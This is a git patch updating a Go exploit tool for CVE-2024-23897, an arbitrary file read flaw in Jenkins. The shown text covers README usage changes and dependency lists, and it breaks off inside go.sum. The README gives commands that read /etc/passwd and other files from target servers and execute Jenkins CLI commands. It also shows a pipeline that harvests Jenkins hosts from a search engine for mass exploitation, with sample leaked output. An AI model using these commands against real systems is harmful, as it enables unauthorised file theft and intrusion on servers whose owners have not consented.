From 21f7548cf44e7b015753a9856bcb1f6070629088 Mon Sep 17 00:00:00 2001 From: wjlin0 Date: Sun, 28 Jan 2024 22:12:01 +0800 Subject: [PATCH] =?UTF-8?q?=F0=9F=8E=89=20CVE-2024-23897=20v1.0.1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 79 +++++--- go.mod | 24 +++ go.sum | 67 +++++++ pkg/output/output.go | 45 ++++- pkg/runner/banner.go | 13 +- pkg/runner/options.go | 37 +++- pkg/runner/output.go | 25 ++- pkg/runner/runner.go | 118 ++++++++++-- pkg/runner/validate.go | 18 +- pkg/scanner/check.go | 187 +++++++++++++++++- pkg/scanner/check_test.go | 32 ++++ pkg/scanner/exploit.go | 168 +++++++++-------- pkg/scanner/exploit_test.go | 27 +++ pkg/types/options.go | 41 ++-- pkg/update/gh.go | 366 ++++++++++++++++++++++++++++++++++++ pkg/update/gh_test.go | 47 +++++ pkg/update/types.go | 98 ++++++++++ pkg/update/update.go | 234 +++++++++++++++++++++++ pkg/update/utils_test.go | 46 +++++ 19 files changed, 1519 insertions(+), 153 deletions(-) create mode 100644 pkg/scanner/check_test.go create mode 100644 pkg/scanner/exploit_test.go create mode 100644 pkg/update/gh.go create mode 100644 pkg/update/gh_test.go create mode 100644 pkg/update/types.go create mode 100644 pkg/update/update.go create mode 100644 pkg/update/utils_test.go diff --git a/README.md b/README.md index 76ca439..91dfc78 100644 --- a/README.md +++ b/README.md @@ -17,15 +17,15 @@ go install github.com/wjlin0/CVE-2024-23897/cmd/CVE-2024-23897@latest ``` 或者 安装完成的二进制文件在[release](https://github.com/wjlin0/CVE-2024-23897/releases)中下载 -- [macOS-arm64](https://github.com/wjlin0/CVE-2024-23897/releases/download/v1.0.0/CVE-2024-23897_1.0.0_macOS_arm64.zip) +- [macOS-arm64](https://github.com/wjlin0/CVE-2024-23897/releases/download/v1.0.1/CVE-2024-23897_1.0.1_macOS_arm64.zip) -- [macOS-amd64](https://github.com/wjlin0/CVE-2024-23897/releases/download/v1.0.0/CVE-2024-23897_1.0.0_macOS_amd64.zip) +- [macOS-amd64](https://github.com/wjlin0/CVE-2024-23897/releases/download/v1.0.1/CVE-2024-23897_1.0.1_macOS_amd64.zip) -- [linux-amd64](https://github.com/wjlin0/CVE-2024-23897/releases/download/v1.0.0/CVE-2024-23897_1.0.0_linux_amd64.zip) +- [linux-amd64](https://github.com/wjlin0/CVE-2024-23897/releases/download/v1.0.1/CVE-2024-23897_1.0.1_linux_amd64.zip) -- [windows-amd64](https://github.com/wjlin0/CVE-2024-23897/releases/download/v1.0.0/CVE-2024-23897_1.0.0_windows_amd64.zip) +- [windows-amd64](https://github.com/wjlin0/CVE-2024-23897/releases/download/v1.0.1/CVE-2024-23897_1.0.1_windows_amd64.zip) -- [windows-386](https://github.com/wjlin0/CVE-2024-23897/releases/download/v1.0.0/CVE-2024-23897_1.0.0_windows_386.zip) +- [windows-386](https://github.com/wjlin0/CVE-2024-23897/releases/download/v1.0.1/CVE-2024-23897_1.0.1_windows_386.zip) # 使用 @@ -40,9 +40,14 @@ Usage: Flags: INPUT: - -url, -u string[] URL to scan. (e.g. -u https://example.com) - -list string[] File containing list of URLs to scan. (e.g. -list list.txt) - -f, -filename string[] The file path that needs to be read. (e.g. -f /etc/passwd) + -url, -u string[] URL to scan. (e.g. -u https://example.com) + -list string[] File containing list of URLs to scan. (e.g. -list list.txt) + +CONFIG: + -c, -command string[] JinKens Command to run. (e.g. -c 'who-am-i') + -a, -args string[] The file path that needs to be read. (e.g. -f /etc/passwd) + -e, -exec JinKens Execute command. + -lac, -list-available-commands List available commands. OUTPUT: -no-color Don't Use colors in output @@ -51,31 +56,46 @@ DEBUG: -debug Enable debugging -p, -proxy string[] list of http/socks5 proxy to use (comma separated or file input) -irt, -input-read-timeout value timeout on input read (default 3m0s) + -version show version of CVE-2024-23897 tool -no-stdin disable stdin processing LIMIT: -timeout int time to wait in seconds before timeout (default 10) - -t, -thread int Number of concurrent threads (default 10) + -t, -thread int Number of concurrent threads (default 30) -rl, -rate-limit int Rate limit for enumeration speed (n req/sec) (default -1) +UPDATE: + -update Update tool + -duc, -disable-update-check Disable update check + Examples: -Run CVE-2024-23897 on a single targets +Run CVE-2024-23897 check vulnerability on a single targets $ CVE-2024-23897 -url https://example.com -Run CVE-2024-23897 on a list of targets + +Run CVE-2024-23897 check vulnerability on list of targets $ CVE-2024-23897 -list list.txt -Run CVE-2024-23897 on a single targets with filenames - $ CVE-2024-23897 -url https://example.com -f /etc/passwd -f /etc/hostname -Run CVE-2024-23897 on a single targets a proxy server + +Run CVE-2024-23897 read full file contents on a single targets + $ CVE-2024-23897 -url https://example.com -c reload-job -a /etc/passwd + +Run CVE-2024-23897 read available commands on a single targets + $ CVE-2024-23897 -url https://example.com -lac + +Run CVE-2024-23897 execute the JenKings command + $ CVE-2024-23897 -url https://example.com -c reload-job -a job_name -exec + +Run CVE-2024-23897 check vulnerability on a single targets by proxy server $ CVE-2024-23897 -url https://example.com -proxy http://127.0.0.1:7890 -Run CVE-2024-23897 on uncovering Jenkins + +Run CVE-2024-23897 on uncovering Jenkins check vulnerability $ pathScan -ue 'quake' -uq 'app: "Jenkins"' -uc -silent | CVE-2024-23897 ``` use pathScan to collect targets and pass them to CVE-2024-23897 via standard input ```shell -pathScan -ue quake -uq 'app:"springboot"' -uc -silent -ul 200 | CVE-2024-23897 +pathScan -ue 'quake' -uq 'app: "Jenkins"' -uc -silent | CVE-2024-23897 ``` > To protect your privacy, I have deleted some outputs ```text @@ -95,11 +115,26 @@ Jenkins 任意文件读取漏洞 开发者不承担任何责任,也不对任何误用或损坏负责. [INF] Loaded 50 targets from input -[INF] Read /etc/passwd file first line -[CVE-2024-23897] https://example.com /etc/hostname - cc0c73d0f754 -[CVE-2024-23897] https://example.com /etc/passwd - root:x:0:0:root:/root:/bin/bash -[CVE-2024-23897] https://example.com /etc/passwd - root:x:0:0:root:/root:/bin/bash -[CVE-2024-23897] https://example.com /etc/hostname - debian -[CVE-2024-23897] https://example.com /etc/passwd - root:x:0:0:root:/root:/bin/bash +[CVE-2024-23897] https://example.com +Mode: Check Mode +The target is Vulnerable. +please use command and to read file first content. +$ CVE-2024-23897 -u https://example.com -c who-am-i -a /etc/passwd + +[CVE-2024-23897] https://example.com +Mode: Check Mode +The target is Vulnerable && This cab read full file contents +please use command and to read full body +$ CVE-2024-23897 -u https://example.com -c connect-node -a /etc/passwd +...... +...... +...... +...... +...... [INF] took 92.75 seconds with 13 successful requests ``` + +# 漏洞分析 +> If you want to learn more about the vulnerability details, you can check out phith0n analysis of this vulnerability. + +- [Jenkins 任意文件读取漏洞分析](https://www.leavesongs.com/PENETRATION/jenkins-cve-2024-23897.html) \ No newline at end of file diff --git a/go.mod b/go.mod index 631dce1..9904cf7 100644 --- a/go.mod +++ b/go.mod @@ -14,30 +14,48 @@ require ( ) require ( + aead.dev/minisign v0.2.0 // indirect + github.com/Masterminds/semver/v3 v3.2.1 // indirect github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809 // indirect + github.com/VividCortex/ewma v1.2.0 // indirect github.com/akrylysov/pogreb v0.10.1 // indirect + github.com/alecthomas/chroma v0.10.0 // indirect github.com/andybalholm/brotli v1.0.6 // indirect github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect + github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect github.com/aymerick/douceur v0.2.0 // indirect + github.com/charmbracelet/glamour v0.6.0 // indirect + github.com/cheggaaa/pb/v3 v3.1.4 // indirect github.com/cloudflare/circl v1.3.7 // indirect github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 // indirect + github.com/denisbrodbeck/machineid v1.0.1 // indirect github.com/dimchansky/utfbom v1.1.1 // indirect + github.com/dlclark/regexp2 v1.8.1 // indirect github.com/dsnet/compress v0.0.2-0.20210315054119-f66993602bf5 // indirect github.com/gaukas/godicttls v0.0.4 // indirect + github.com/golang/protobuf v1.5.3 // indirect github.com/golang/snappy v0.0.4 // indirect + github.com/google/go-github/v30 v30.1.0 // indirect + github.com/google/go-querystring v1.1.0 // indirect github.com/gorilla/css v1.0.0 // indirect github.com/json-iterator/go v1.1.12 // indirect github.com/klauspost/compress v1.16.7 // indirect github.com/klauspost/pgzip v1.2.5 // indirect github.com/logrusorgru/aurora v2.0.3+incompatible // indirect + github.com/lucasb-eyer/go-colorful v1.2.0 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.19 // indirect + github.com/mattn/go-runewidth v0.0.14 // indirect github.com/mholt/archiver/v3 v3.5.1 // indirect github.com/microcosm-cc/bluemonday v1.0.25 // indirect github.com/miekg/dns v1.1.56 // indirect + github.com/minio/selfupdate v0.6.1-0.20230907112617-f11e74f84ca7 // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.2 // indirect + github.com/muesli/reflow v0.3.0 // indirect + github.com/muesli/termenv v0.15.1 // indirect github.com/nwaples/rardecode v1.1.3 // indirect + github.com/olekukonko/tablewriter v0.0.5 // indirect github.com/pierrec/lz4/v4 v4.1.2 // indirect github.com/pkg/errors v0.9.1 // indirect github.com/projectdiscovery/blackrock v0.0.1 // indirect @@ -47,6 +65,7 @@ require ( github.com/projectdiscovery/retryabledns v1.0.48 // indirect github.com/quic-go/quic-go v0.37.7 // indirect github.com/refraction-networking/utls v1.5.4 // indirect + github.com/rivo/uniseg v0.4.4 // indirect github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d // indirect github.com/syndtr/goleveldb v1.0.0 // indirect github.com/tidwall/btree v1.4.3 // indirect @@ -62,6 +81,8 @@ require ( github.com/weppos/publicsuffix-go v0.30.1-0.20230422193905-8fecedd899db // indirect github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8 // indirect github.com/yl2chen/cidranger v1.0.2 // indirect + github.com/yuin/goldmark v1.5.4 // indirect + github.com/yuin/goldmark-emoji v1.0.1 // indirect github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 // indirect github.com/zmap/zcrypto v0.0.0-20230422215203-9a665e1e9968 // indirect go.etcd.io/bbolt v1.3.7 // indirect @@ -70,9 +91,12 @@ require ( golang.org/x/exp v0.0.0-20221205204356-47842c84f3db // indirect golang.org/x/mod v0.12.0 // indirect golang.org/x/net v0.17.0 // indirect + golang.org/x/oauth2 v0.11.0 // indirect golang.org/x/sys v0.16.0 // indirect golang.org/x/text v0.14.0 // indirect golang.org/x/tools v0.13.0 // indirect + google.golang.org/appengine v1.6.7 // indirect + google.golang.org/protobuf v1.31.0 // indirect gopkg.in/djherbis/times.v1 v1.3.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) diff --git a/go.sum b/go.sum index f8db937..3406205 100644 --- a/go.sum +++ b/go.sum @@ -1,19 +1,34 @@ +aead.dev/minisign v0.2.0 h1:kAWrq/hBRu4AARY6AlciO83xhNnW9UaC8YipS2uhLPk= +aead.dev/minisign v0.2.0/go.mod h1:zdq6LdSd9TbuSxchxwhpA9zEb9YXcVGoE8JakuiGaIQ= cloud.google.com/go/compute/metadata v0.2.0/go.mod h1:zFmK7XCadkQkj6TtorcaGlCW1hT1fIilQDwofLpJ20k= +github.com/Masterminds/semver/v3 v3.2.1 h1:RN9w6+7QoMeJVGyfmbcgs28Br8cvmnucEXnY0rYXWg0= +github.com/Masterminds/semver/v3 v3.2.1/go.mod h1:qvl/7zhW3nngYb5+80sSMF+FG2BjYrf8m9wsX0PNOMQ= github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809 h1:ZbFL+BDfBqegi+/Ssh7im5+aQfBRx6it+kHnC7jaDU8= github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809/go.mod h1:upgc3Zs45jBDnBT4tVRgRcgm26ABpaP7MoTSdgysca4= +github.com/VividCortex/ewma v1.2.0 h1:f58SaIzcDXrSy3kWaHNvuJgJ3Nmz59Zji6XoJR/q1ow= +github.com/VividCortex/ewma v1.2.0/go.mod h1:nz4BbCtbLyFDeC9SUHbtcT5644juEuWfUAUnGx7j5l4= github.com/akrylysov/pogreb v0.10.1 h1:FqlR8VR7uCbJdfUob916tPM+idpKgeESDXOA1K0DK4w= github.com/akrylysov/pogreb v0.10.1/go.mod h1:pNs6QmpQ1UlTJKDezuRWmaqkgUE2TuU0YTWyqJZ7+lI= +github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek= +github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQqNSB4rjA/1s= github.com/andybalholm/brotli v1.0.1/go.mod h1:loMXtMfwqflxFJPmdbJO0a3KNoPuLBgiu3qAvBg8x/Y= github.com/andybalholm/brotli v1.0.6 h1:Yf9fFpf49Zrxb9NlQaluyE92/+X7UVHlhMNJN2sxfOI= github.com/andybalholm/brotli v1.0.6/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig= github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so= github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw= +github.com/aymanbagabas/go-osc52 v1.0.3/go.mod h1:zT8H+Rk4VSabYN90pWyugflM3ZhpTZNC7cASDfUCdT4= +github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k= +github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8= github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk= github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4= github.com/bits-and-blooms/bitset v1.8.0 h1:FD+XqgOZDUxxZ8hzoBFuV9+cGWY9CslN6d5MS5JVb4c= github.com/bits-and-blooms/bitset v1.8.0/go.mod h1:7hO7Gc7Pp1vODcmWvKMRA9BNmbv6a/7QIWpPxHddWR8= github.com/bits-and-blooms/bloom/v3 v3.5.0 h1:AKDvi1V3xJCmSR6QhcBfHbCN4Vf8FfxeWkMNQfmAGhY= github.com/bits-and-blooms/bloom/v3 v3.5.0/go.mod h1:Y8vrn7nk1tPIlmLtW2ZPV+W7StdVMor6bC1xgpjMZFs= +github.com/charmbracelet/glamour v0.6.0 h1:wi8fse3Y7nfcabbbDuwolqTqMQPMnVPeZhDM273bISc= +github.com/charmbracelet/glamour v0.6.0/go.mod h1:taqWV4swIMMbWALc0m7AfE9JkPSU8om2538k9ITBxOc= +github.com/cheggaaa/pb/v3 v3.1.4 h1:DN8j4TVVdKu3WxVwcRKu0sG00IIU6FewoABZzXbRQeo= +github.com/cheggaaa/pb/v3 v3.1.4/go.mod h1:6wVjILNBaXMs8c21qRiaUM8BR82erfgau1DQ4iUXmSA= github.com/cloudflare/circl v1.3.7 h1:qlCDlTPz2n9fu58M0Nh1J/JzcFpfgkFHHX3O35r5vcU= github.com/cloudflare/circl v1.3.7/go.mod h1:sRTcRWXGLrKw6yIGJ+l7amYJFfAXbZG0kBSc8r4zxgA= github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 h1:ox2F0PSMlrAAiAdknSRMDrAr8mfxPCfSZolH+/qQnyQ= @@ -21,8 +36,13 @@ github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08/go.mod h1:pCxVEbcm3 github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/denisbrodbeck/machineid v1.0.1 h1:geKr9qtkB876mXguW2X6TU4ZynleN6ezuMSRhl4D7AQ= +github.com/denisbrodbeck/machineid v1.0.1/go.mod h1:dJUwb7PTidGDeYyUBmXZ2GphQBbjJCrnectwCyxcUSI= github.com/dimchansky/utfbom v1.1.1 h1:vV6w1AhK4VMnhBno/TPVCoK9U/LP0PkLCS9tbxHdi/U= github.com/dimchansky/utfbom v1.1.1/go.mod h1:SxdoEBH5qIqFocHMyGOXVAybYJdr71b1Q/j0mACtrfE= +github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc= +github.com/dlclark/regexp2 v1.8.1 h1:6Lcdwya6GjPUNsBct8Lg/yRPwMhABj269AAzdGSiR+0= +github.com/dlclark/regexp2 v1.8.1/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8= github.com/dsnet/compress v0.0.2-0.20210315054119-f66993602bf5 h1:iFaUwBSo5Svw6L7HYpRu/0lE3e0BaElwnNO1qkNQxBY= github.com/dsnet/compress v0.0.2-0.20210315054119-f66993602bf5/go.mod h1:qssHWj60/X5sZFNxpG4HBPDHVqxNm4DfnCKgrbZOT+s= github.com/dsnet/golib v0.0.0-20171103203638-1ea166775780/go.mod h1:Lj+Z9rebOhdfkVLjJ8T6VcRQv3SXugXy999NBtR9aFY= @@ -42,6 +62,8 @@ github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5y github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= +github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/golang/snappy v0.0.2/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM= @@ -51,7 +73,11 @@ github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/go-github/v30 v30.1.0 h1:VLDx+UolQICEOKu2m4uAoMti1SxuEBAl7RSEG16L+Oo= +github.com/google/go-github/v30 v30.1.0/go.mod h1:n8jBpHl45a/rlBUtRJMOG4GhNADUQFEufcolZ95JfU8= github.com/google/go-github/v50 v50.1.0/go.mod h1:Ev4Tre8QoKiolvbpOSG3FIi4Mlon3S2Nt9W5JYqKiwA= +github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck= +github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8= github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/pprof v0.0.0-20210407192527-94a9f03dee38 h1:yAJXTCF9TqKcTiHJAE8dj7HMvPfh66eeA2JYW7eFpSE= @@ -83,17 +109,26 @@ github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8= github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4= +github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69Aj6K7nkY= +github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA= github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= +github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk= +github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU= +github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= github.com/mholt/archiver/v3 v3.5.1 h1:rDjOBX9JSF5BvoJGvjqK479aL70qh9DIpZCl+k7Clwo= github.com/mholt/archiver/v3 v3.5.1/go.mod h1:e3dqJ7H78uzsRSEACH1joayhuSyhnonssnDhppzS1L4= +github.com/microcosm-cc/bluemonday v1.0.21/go.mod h1:ytNkv4RrDrLJ2pqlsSI46O6IVXmZOBBD4SaJyDwwTkM= github.com/microcosm-cc/bluemonday v1.0.25 h1:4NEwSfiJ+Wva0VxN5B8OwMicaJvD8r9tlJWm9rtloEg= github.com/microcosm-cc/bluemonday v1.0.25/go.mod h1:ZIOjCQp1OrzBBPIJmfX4qDYFuhU02nx4bn030ixfHLE= github.com/miekg/dns v1.1.56 h1:5imZaSeoRNvpM9SzWNhEcP9QliKiz20/dA2QabIGVnE= github.com/miekg/dns v1.1.56/go.mod h1:cRm6Oo2C8TY9ZS/TqsSrseAcncm74lfK5G+ikN2SWWY= +github.com/minio/selfupdate v0.6.1-0.20230907112617-f11e74f84ca7 h1:yRZGarbxsRytL6EGgbqK2mCY+Lk5MWKQYKJT2gEglhc= +github.com/minio/selfupdate v0.6.1-0.20230907112617-f11e74f84ca7/go.mod h1:bO02GTIPCMQFTEvE5h4DjYB58bCoZ35XLeBf0buTDdM= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= @@ -101,11 +136,18 @@ github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9G github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/mreiferson/go-httpclient v0.0.0-20160630210159-31f0106b4474/go.mod h1:OQA4XLvDbMgS8P0CevmM4m9Q3Jq4phKUzcocxuGJ5m8= github.com/mreiferson/go-httpclient v0.0.0-20201222173833-5e475fde3a4d/go.mod h1:OQA4XLvDbMgS8P0CevmM4m9Q3Jq4phKUzcocxuGJ5m8= +github.com/muesli/reflow v0.3.0 h1:IFsN6K9NfGtjeggFP+68I4chLZV2yIKsXJFNZ+eWh6s= +github.com/muesli/reflow v0.3.0/go.mod h1:pbwTDkVPibjO2kyvBQRBxTWEEGDGq0FlB1BIKtnHY/8= +github.com/muesli/termenv v0.13.0/go.mod h1:sP1+uffeLaEYpyOTb8pLCUctGcGLnoFjSn4YJK5e2bc= +github.com/muesli/termenv v0.15.1 h1:UzuTb/+hhlBugQz28rpzey4ZuKcZ03MeKsoG7IJZIxs= +github.com/muesli/termenv v0.15.1/go.mod h1:HeAQPTzpfs016yGtA4g00CsdYnVLJvxsS4ANqrZs2sQ= github.com/nwaples/rardecode v1.1.0/go.mod h1:5DzqNKiOdpKKBH87u8VlvAnPZMXcGRhxWkRpHbbfGS0= github.com/nwaples/rardecode v1.1.3 h1:cWCaZwfM5H7nAD6PyEdcVnczzV8i/JtotnyW/dD9lEc= github.com/nwaples/rardecode v1.1.3/go.mod h1:5DzqNKiOdpKKBH87u8VlvAnPZMXcGRhxWkRpHbbfGS0= github.com/nxadm/tail v1.4.11 h1:8feyoE3OzPrcshW5/MJ4sGESc5cqmGkGCWlco4l0bqY= github.com/nxadm/tail v1.4.11/go.mod h1:OTaG3NK980DZzxbRq6lEuzgU+mug70nY11sMd4JXXHc= +github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= +github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= github.com/onsi/ginkgo v1.16.4 h1:29JGrr5oVBm5ulCWet69zQkzWipVXIol6ygQUe/EzNc= @@ -148,6 +190,10 @@ github.com/refraction-networking/utls v1.5.4 h1:9k6EO2b8TaOGsQ7Pl7p9w6PUhx18/ZCe github.com/refraction-networking/utls v1.5.4/go.mod h1:SPuDbBmgLGp8s+HLNc83FuavwZCFoMmExj+ltUHiHUw= github.com/remeh/sizedwaitgroup v1.0.0 h1:VNGGFwNo/R5+MJBf6yrsr110p0m4/OX4S3DCy7Kyl5E= github.com/remeh/sizedwaitgroup v1.0.0/go.mod h1:3j2R4OIe/SeS6YDhICBy22RWjJC5eNCJ1V+9+NVNYlo= +github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= +github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= +github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis= +github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d h1:hrujxIzL1woJ7AwssoOcM/tq5JjjG2yYOc8odClEiXA= github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU= github.com/sirupsen/logrus v1.3.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= @@ -197,7 +243,13 @@ github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8 h1:nIPpBwaJSVYIxUFsDv3M8ofm github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8/go.mod h1:HUYIGzjTL3rfEspMxjDjgmT5uz5wzYJKVo23qUhYTos= github.com/yl2chen/cidranger v1.0.2 h1:lbOWZVCG1tCRX4u24kuM1Tb4nHqWkDxwLdoS+SevawU= github.com/yl2chen/cidranger v1.0.2/go.mod h1:9U1yz7WPYDwf0vpNWFaeRh0bjwz5RVgRy/9UEQfHl0g= +github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +github.com/yuin/goldmark v1.5.2/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +github.com/yuin/goldmark 